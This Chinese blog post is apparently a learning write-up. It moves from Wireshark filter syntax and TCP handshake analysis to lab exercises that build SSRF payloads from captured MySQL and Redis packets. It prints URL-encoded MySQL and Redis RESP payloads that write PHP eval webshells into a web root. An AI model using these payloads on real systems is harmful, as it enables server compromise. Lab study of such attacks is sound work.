开始
开始抓包,选择一个网卡
开始就可以抓包
寻找特定包
比如我ping www.baidu.com想看icmp的包
搜索框输入ip.addr ==39.156.66.10 and icmp
语法
比较操作符
1 | 比较操作符有== 等于、!= 不等于、> 大于、< 小于、>= 大于等于、<=小于等于 |
协议过滤
1 | 小写,输入协议名称 |
IP过滤
1 | ip.src ==192.168.1.104 显示源地址为192.168.1.104的数据包列表 |
端口过滤
1 | tcp.port ==80, 显示源主机或者目的主机端口为80的数据包列表。 |
Http模式过滤
1 | http.request.method=="GET", 只显示HTTP GET方法的。 |
逻辑运算符
1 | and/or/not |
按数据包内容过滤
1 | data contains '2' |
数据展示区
左边是数据详细区,右边是数据字节区
对应的个个会话层级如下
比如tcp包可以在应用层查看它的具体内容
设置抓包过滤器
捕获->捕获过滤器
加号设置规则
在抓包前应用规则
语法规则
1 | Type(host net port) |
IP过滤
1 | host xxx.xx.xx.xx |
端口过滤
1 | port 8888 |
联动tcpdunp分析数据
1 | tcpdump -i ens33 -w capture.pcap |
直接打开pcap文件就可以了
找到抓包之后访问的www.baidu.com
应用实例
分析TCP三次握手和四次挥手
三次握手
先ping获取ewoji.cn的ip
设置过滤器并且应用
curl http://ewoji.cn
众所周知按理论tcp
SYN仅在第一次和第二次握手来表示 我想握手和同意握手
Seq随机生成一段序列 ACK为随机序列+1再发回表示确认字段没有被其他包干扰
一直知道这东西但是没有实际用眼看过这个流程
首先是客服端请求握手,并且发送确认序列
然后客服端收到SYN为1知道你想和我握手,然后把序列加一当作ACK发回去表示我知道你是谁并且同样要发SYN请求握手并且生成一段随机序列
然后客户端这时就知道你是我要找的那个人了,也不用再用SYN请求了,直接发送ACK确认然后生成一段序列保证后续的通信不被干扰
现在已经握手成功,之后就是可以发各种http,rmi,fastcgi,resp协议了
然后就用这个tcp连接发来发去了
四次挥手
这里可以看到过了100秒两边没有交流,github就给我发挥手包了
但是这里挥手用的不是传统的tcp四次挥手而是捎带机制,就不深究了
抓Mysql通信包构造恶意包打SSRF
写个马
1 | tcp.port == 3306 |
过滤
复制data
写个脚本转成url编码
1 | import urllib |
payload为
1 | %5B%00%00%00%03select%20%22%3C%3Fphp%20%40eval%28%24_GET%5B1%5D%29%3B%3F%3E%22%20into%20outfile%20%27D%3A/phpstudy_pro/WWW/test/mysqlwrite/2.php%27 |
开个socket小实验一下
1 | import socket |
控制data直接通过socket发送恶意tcp数据流即可
有意思的是并没有执行成功,最后wireshark排查得知
我们的tcp数据流是没有我的身份信息的,而mysql当然要登录才可以执行
那为什么我们上面抓的包直接就直接执行了呢,是因为我之前的验证包没有抓到
所以要想执行mysql命令还得先通过验证然后建立一个被验证的tcp连接
设置一个无密码用户
1 | ./mysql -u ssrf -e "select '<?php @eval($\_POST[1]);?>' into outfile 'D:///phpstudy_pro/WWW/test/mysqlwrite/2.php'" |
抓包,把从登录到退出的数据包数据合并
wireshark也是非常智能,自动合并这段数据包了
然后编码再通过刚刚那个socket发送
1 | %3C%00%00%01%85%A2%0F%00%00%00%00%01%1C%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf%00%00mysql_native_password%00%21%00%00%00%03select%20%40%40version_comment%20limit%201_%00%00%00%03select%20%27%3C%3Fphp%20%40eval%28%24%5C_POST%5B1%5D%29%3B%3F%3E%27%20into%20outfile%20%27D%3A///phpstudy_pro/WWW/test/mysqlwrite/2.php%27%01%00%00%00%01 |
但最后也只能到认证阶段,甚至不可以发送用户名
最后查资料才知道sendall是不可以控制多个包的时序逻辑的,但是gopher可以
所以索性使用gopher发送tcp数据流
最后成功写入
而有些数据库可以未授权访问,就只用发一个包,不用考虑时序逻辑的问题,比如redis
抓redis通信包构造恶意包打SSRF
先分析一下redis的发包逻辑
也是像上面说的非常干脆如果只用set操作的话只用一个包即可
我们知道redis下载下来默认不需要账号密码,并且开在0.0.0.0:6379的,那么就可以直接通过未授权访问发送恶意的tcp流了
还是使用刚刚的python小socket
1 | import socket |
比如发个获取全部key的命令试试看
看看我们的包内容
发现这个resp包也是非常的有规律且容易看懂,可以简单了解一下如何构造resp包
【高阶篇】3.1 Redis协议(RESP )详解_redis resp-CSDN博客
构造set e 1命令包,比较值得注意的是resp需要的换行是\r\n而windows只有\n,需要手动加上
1 | *3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0Ae%0D%0A$1%0D%0A1%0D%0A |
这样就完成了未授权的set操作
如果是写文件呢
1 | config set dir D:\phpstudy_pro\WWW\test\mysqlwrite |
一样的url编码后发包试试
1 | %2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2435%0D%0AD%3A%5Cphpstudy%5Fpro%5CWWW%5Ctest%5Cmysqlwrite%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%245%0D%0A1%2Ephp%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%246%0D%0Aewoji2%0D%0A%2436%0D%0A%0D%0A%0D%0A%3C%3Fphp%20%40eval%28%24%5FPOST%5B%27test%27%5D%29%3B%3F%3E%0D%0A%0D%0A%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A |
可以看到我们四个命令都回了ok
最后马子也是成功写入
同样也可以用gopherus构造
分析php-fpm通信包
把php-fpm和nginx开开
1 | /etc/init.d/php7.3-fpm restart |
因为fpm是和nginx的通信,必须在虚拟机上使用tcpdump抓包
1 | tcpdump -i lo -w capture.pcap |
写一个执行命令的php
1 | //ee.php |
访问执行后查看tcp数据包
可以看到三次握手之后就发送了fastcgi协议,但是wireshark没识别出来
可以看到是一个包就解决了的,因为是本地的fpm也不用什么认证包,所以关于fpm的利用就比较精彩,绕过disable_function还可以联动LD_PRELOAD啥的
分析RMI通信包
1 | public class RMIServer { |
端口不开1099 wireshark识别不了,挺笨的
回顾一下经典的两次tcp连接,第一次连接注册中心获得stub
第二个三次握手是握远程调用的端口
然后远程调用
返回结果
由于rmi通信比较复杂,一般都是直接用的yso里面的写好的client和server